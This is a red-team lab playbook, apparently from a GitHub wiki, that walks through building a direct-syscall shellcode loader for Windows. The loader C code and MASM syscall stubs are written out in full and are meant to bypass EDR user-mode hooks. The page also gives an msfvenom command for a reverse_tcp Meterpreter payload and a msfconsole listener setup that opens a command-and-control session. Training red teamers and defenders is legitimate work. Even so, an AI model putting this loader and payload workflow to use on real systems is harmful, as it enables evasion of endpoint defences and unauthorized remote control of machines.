Skip to content

12: Chapter 6 | LAB Exercise Playbook

VirtualAllocEx edited this page Jan 11, 2024 · 33 revisions

LAB Exercise: Direct Syscall Loader

Related to the Win32-API loader, in this exercise we will make the second modification, create the direct syscall loader and implement the required syscalls or syscall stubs from each of the four native functions directly into the assembly (loader).

Prinicipal_direct_syscalls

The code template for this tutorial can be found here.

Exercise Tasks:

Build Direct Syscall Loader

Task Nr. Task Description
1 Download the direct syscall loader POC for this chapter.
2 Most of the code is already implemented in the POC. However, you have to complete the direct syscall loader by performing the following tasks:
  • Create a new header file syscalls.h and use the supplied code for syscalls.h, which follows in this playbook. Also include syscalls.h in the main code as header syscalls.h
  • Import the syscalls.asm file as a resource and complete the assembly code by adding the missing assembler code for the remaining three native APIs following the scheme of the already implemented code for NtAllocateVirtualMemory.
  • Enable Microsoft Macro Assembler (MASM) in the direct syscall POC in Visual Studio.
3 Create a staged x64 meterpreter shellcode with msfvenom, copy it to the POC and compile it.
4 Create and run a staged x64 meterpreter listener using msfconsole.
5 Run your compiled .exe and check that a stable command and control channel opens.

Analyse Direct Syscall Loader

Task Nr. Task Description
6 Use the Visual Studio dumpbin tool to analyse the syscall loader. Are any Win32 APIs being imported from kernel32.dll? Is the result what you expected?
7 Use x64dbg to debug or analyse the loader.
  • Check which Win32 APIs and native APIs are being imported. If they are being imported, from which module or memory location are they being imported? Is the result what you expected?
  • Check from which module or memory location the syscalls for the four APIs used are being executed. Is the result what you expected?
  • etc.

Visual Studio

The code works as follows, shellcode declaration is done as before.

// Insert the Meterpreter shellcode as an array of unsigned chars (replace the placeholder with actual shellcode)
    unsigned char code[] = "\xfc\x48\x83";

The main code of the direct syscall loader looks like the following and is already implemented. Again, we use the same native APIs to allocate memory, write memory, create a new thread and wait for the new thread to be created.

Code
#include <iostream>
#include <Windows.h>
#include "syscalls.h"

int main() {
    // Insert Meterpreter shellcode
    unsigned char code[] = "\xfc\x48\x83...";

    // Allocate Virtual Memory with PAGE_EXECUTE_READWRITE permissions to store the shellcode
    // 'exec' will hold the base address of the allocated memory region
    void* exec = NULL;
    SIZE_T size = sizeof(code);
    NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Copy the shellcode into the allocated memory region
    SIZE_T bytesWritten;
    NtWriteVirtualMemory(GetCurrentProcess(), exec, code, sizeof(code), &bytesWritten);

    // Execute the shellcode in memory using a new thread
    // Pass the address of the shellcode as the thread function (StartRoutine) and its parameter (Argument)
    HANDLE hThread;
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), exec, exec, FALSE, 0, 0, 0, NULL);

    // Wait for the end of the thread to ensure the shellcode execution is complete
    NtWaitForSingleObject(hThread, FALSE, NULL);


    // Return 0 as the main function exit code
    return 0;
}

Header File

Unlike the NTAPI-Loader, we no longer ask ntdll.dll for the function definition of the native APIs we use. But we still want to use the native functions, so we need to define or directly implement the structure for all four native functions in a header file. In this case, the header file should be called syscalls.h.

Task

The syscalls.h file does not currently exist in the syscall POC folder, your task is to add a new header file named syscalls.h and implement the required code. The code for the syscalls.h file can be found in the code section below. You will also need to include the header syscalls.h in the main code.

Additional information if you want to check the function definition manually should be available in the Microsoft documentation, e.g. for NtAllocateVirtualMemory.

Details

04

Code
#ifndef _SYSCALLS_H  // If _SYSCALLS_H is not defined then define it and the contents below. This is to prevent double inclusion.
#define _SYSCALLS_H  // Define _SYSCALLS_H

#include <windows.h>  // Include the Windows API header

// The type NTSTATUS is typically defined in the Windows headers as a long.
typedef long NTSTATUS;  // Define NTSTATUS as a long
typedef NTSTATUS* PNTSTATUS;  // Define a pointer to NTSTATUS

// Declare the function prototype for NtAllocateVirtualMemory
extern NTSTATUS NtAllocateVirtualMemory(
    HANDLE ProcessHandle,    // Handle to the process in which to allocate the memory
    PVOID* BaseAddress,      // Pointer to the base address
    ULONG_PTR ZeroBits,      // Number of high-order address bits that must be zero in the base address of the section view
    PSIZE_T RegionSize,      // Pointer to the size of the region
    ULONG AllocationType,    // Type of allocation
    ULONG Protect            // Memory protection for the region of pages
);

// Declare the function prototype for NtWriteVirtualMemory
extern NTSTATUS NtWriteVirtualMemory(
    HANDLE ProcessHandle,     // Handle to the process in which to write the memory
    PVOID BaseAddress,        // Pointer to the base address
    PVOID Buffer,             // Buffer containing data to be written
    SIZE_T NumberOfBytesToWrite, // Number of bytes to be written
    PULONG NumberOfBytesWritten // Pointer to the variable that receives the number of bytes written
);

// Declare the function prototype for NtCreateThreadEx
extern NTSTATUS NtCreateThreadEx(
    PHANDLE ThreadHandle,        // Pointer to a variable that receives a handle to the new thread
    ACCESS_MASK DesiredAccess,   // Desired access to the thread
    PVOID ObjectAttributes,      // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes
    HANDLE ProcessHandle,        // Handle to the process in which the thread is to be created
    PVOID lpStartAddress,        // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
    PVOID lpParameter,           // Pointer to a variable to be passed to the thread
    ULONG Flags,                 // Flags that control the creation of the thread
    SIZE_T StackZeroBits,        // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer
    SIZE_T SizeOfStackCommit,    // The size of the stack that must be committed at thread creation
    SIZE_T SizeOfStackReserve,   // The size of the stack that must be reserved at thread creation
    PVOID lpBytesBuffer          // Pointer to a variable that receives any output data from the system
);

// Declare the function prototype for NtWaitForSingleObject
extern NTSTATUS NtWaitForSingleObject(
    HANDLE Handle,          // Handle to the object to be waited on
    BOOLEAN Alertable,      // If set to TRUE, the function returns when the system queues an I/O completion routine or APC for the thread
    PLARGE_INTEGER Timeout  // Pointer to a LARGE_INTEGER that specifies the absolute or relative time at which the function should return, regardless of the state of the object
);

#endif // _SYSCALLS_H  // End of the _SYSCALLS_H definition

  

Assembly Instructions

Furthermore, we do not want to ask ntdll.dll for the syscall stub or the content or code of the syscall stub (assembly instructions mov r10, rcx, mov eax, SSN etc.) of the native functions we use, instead we have to implement the necessary assembly code in the assembly itself. As mentioned above, instead of using a tool to create the necessary assembly instructions, for the best learning experience we will manually implement the assembly code in our direct syscall POC. To do this, you will find a file called syscalls.asm in the direct syscall loader POC directory, which contains some of the required assembler code. The code below shows the assembler code for the syscall stub of NtAllocateVirtualMemory which is already implemented in the syscalls.asm file.

Code
.CODE  ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx   ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, 18h   ; Move the syscall number into the eax register.
    syscall        ; Execute syscall.
    ret            ; Return from the procedure.
NtAllocateVirtualMemory ENDP     
END  ; End of the module    

Task

It is your task to add the syscalls.asm file as a resource (existing item) to the direct syscall loader project and complete the assembler code or add the syscall stub for the other three missing native APIs NtWriteVirtualMemory, NtCreateThreadEx and NtWaitForSingleObject.

If you are unable to complete the assembly code at this time, you can use the assembly code from the solution and paste it into the syscalls.asm file in the direct syscall loader POC. Note that the syscalls IDs are for Windows 10 Enterprise 22H2 and may not work for your target. You may need to replace the syscalls IDs with the correct syscalls IDs for your target Windows version.

Solution
.CODE  ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, 18h                                    ; Move the syscall number into the eax register.
    syscall                                         ; Execute syscall.
    ret                                             ; Return from the procedure.
NtAllocateVirtualMemory ENDP                     	; End of the procedure.

; Similar procedures for NtWriteVirtualMemory syscalls
NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, 3Ah 
    syscall
    ret
NtWriteVirtualMemory ENDP

; Similar procedures for NtCreateThreadEx syscalls
NtCreateThreadEx PROC
    mov r10, rcx
    mov eax, 0C2h
    syscall
    ret
NtCreateThreadEx ENDP

; Similar procedures for NtWaitForSingleObject syscalls
NtWaitForSingleObject PROC
    mov r10, rcx
    mov eax, 4
    syscall
    ret
NtWaitForSingleObject ENDP

END  ; End of the module

Microsoft Macro Assembler (MASM)

We have already implemented all the necessary assembler code in the syscalls.asm file. But in order for the code to be interpreted correctly within the direct syscall POC, we need to do a few things. These steps are not done in the downloadable POC and must be done manually.

Task

First, we need to enable support for Microsoft Macro Assembler (MASM) in the Visual Studio project by enabling the option in Build Dependencies/Build Customisations.

Details

05 06

Task

We also need to set the item type of the syscalls.asm file to Microsoft Macro Assembler, otherwise we will get an unresolved symbol error in the context of the native APIs used in the direct syscall loader. We also set "Excluded from Build" to no and "Content" to yes.

Details

07 08 09

Meterpreter Shellcode

Task

Again, we will create our meterpreter shellcode with msfvenom in Kali Linux. To do this, we will use the following command and create x64 staged meterpreter shellcode.

kali>

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IPv4_Redirector_or_IPv4_Kali LPORT=80 -f c > /tmp/shellcode.txt

10

The shellcode can then be copied into the direct syscall loader POC by replacing the placeholder at the unsigned char, and the POC can be compiled as an x64 release.

11

MSF-Listener

Task

Before we test the functionality of our direct syscall loader, we need to create a listener within msfconsole.

kali>

msfconsole

msf>

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost IPv4_Redirector_or_IPv4_Kali
set lport 80 
set exitonsession false
run

12

Once the listener has been successfully started, you can run your compiled direct syscall loader. If all goes well, you should see an incoming command and control session.

13

Loader Analysis: Dumpbin

Task

The Visual Studio tool dumpbin can be used to check which Windows APIs are imported via kernel32.dll. The following command can be used to check the imports. Which results do you expect?

cmd>

cd C:\Program Files (x86)\Microsoft Visual Studio\2019\Community
dumpbin /imports Path/to/Direct_Syscall_Dropper.exe
Results

No imports from the Windows APIs VirtualAlloc, WriteProcessMemory, CreateThread and WaitForSingleObject from kernel32.dll. This was expected and is correct.

image

Loader Analysis: x64dbg

Task

The first step is to run your direct syscall loader, check that the .exe is running and that a stable meterpreter C2 channel is open. Then we open x64dbg and attach to the running process, note that if you open the direct syscall loader directly in x64dbg, you need to run the assembly first.

image

image

Task

Then we want to check which APIs (Win32 or Native) are being imported and from which module or memory location. Remember that in the direct syscall loader we no longer use Win32 APIs in the code and have implemented the structure for the native functions directly in the assembly. What results do you expect?

Results

Checking the imported symbols in our direct syscall loader, we should again see that the Win32 APIs VirtualAlloc, WriteProcessMemory, CreateThread and WaitForSingleObject are no longer imported by kernel32.dll, or are no longer imported in general. So the result is the same as with dumpbin and seems to be valid.

17

Instead, we can identify the manually defined native functions in the .text section of the direct syscall loader. 18

Task

We also want to identify the disassembled lines of code in the loader module where the calls to the native functions are made.

Results

We use the "Follow in Disassembler" function to analyse the direct syscall loader to identify the lines of code where the calls to the native functions are made.

19 20

Task

We also want to check in which module the syscall stub or the assembler instructions of the native functions are implemented, or more precisely, from which module or memory location the syscall and return statements are executed. This will be important later when we compare direct and indirect syscalls.

Results

For example, in the context of the native function NtAllocateVirtualMemory, we use the "Follow in Disassembler" function and should be able to see that the syscall stub is not retrieved from ntdll.dll, instead the stub is implemented directly into the .text section of the assembly. We can also see that the syscall statement and the return statement are executed from the memory location of the direct syscall loader assembly.

21 22 23

Summary:

  • Made transition from Native APIs to direct syscalls
  • Loader imports no longer Windows APIs from kernel32.dll
  • Loader imports no longer Native APIs from ntdll.dll
  • Syscalls or syscall stubs are implemented into .text section of the loader itself
  • User mode hooks in ntdll.dll and EDR can be bypassed

Limitations

  • System Service Numbers (SSNs) are hard-coded into the POC.
  • Direct syscalls can be detected if an EDR uses Event Tracing for Windows (ETW) or Event Tracing for Windows Threat Intelligence (EtwTi) to check from which memory area the syscall instruction or function return address was executed, or more specifically if the execution was outside of ntdll.dll memory.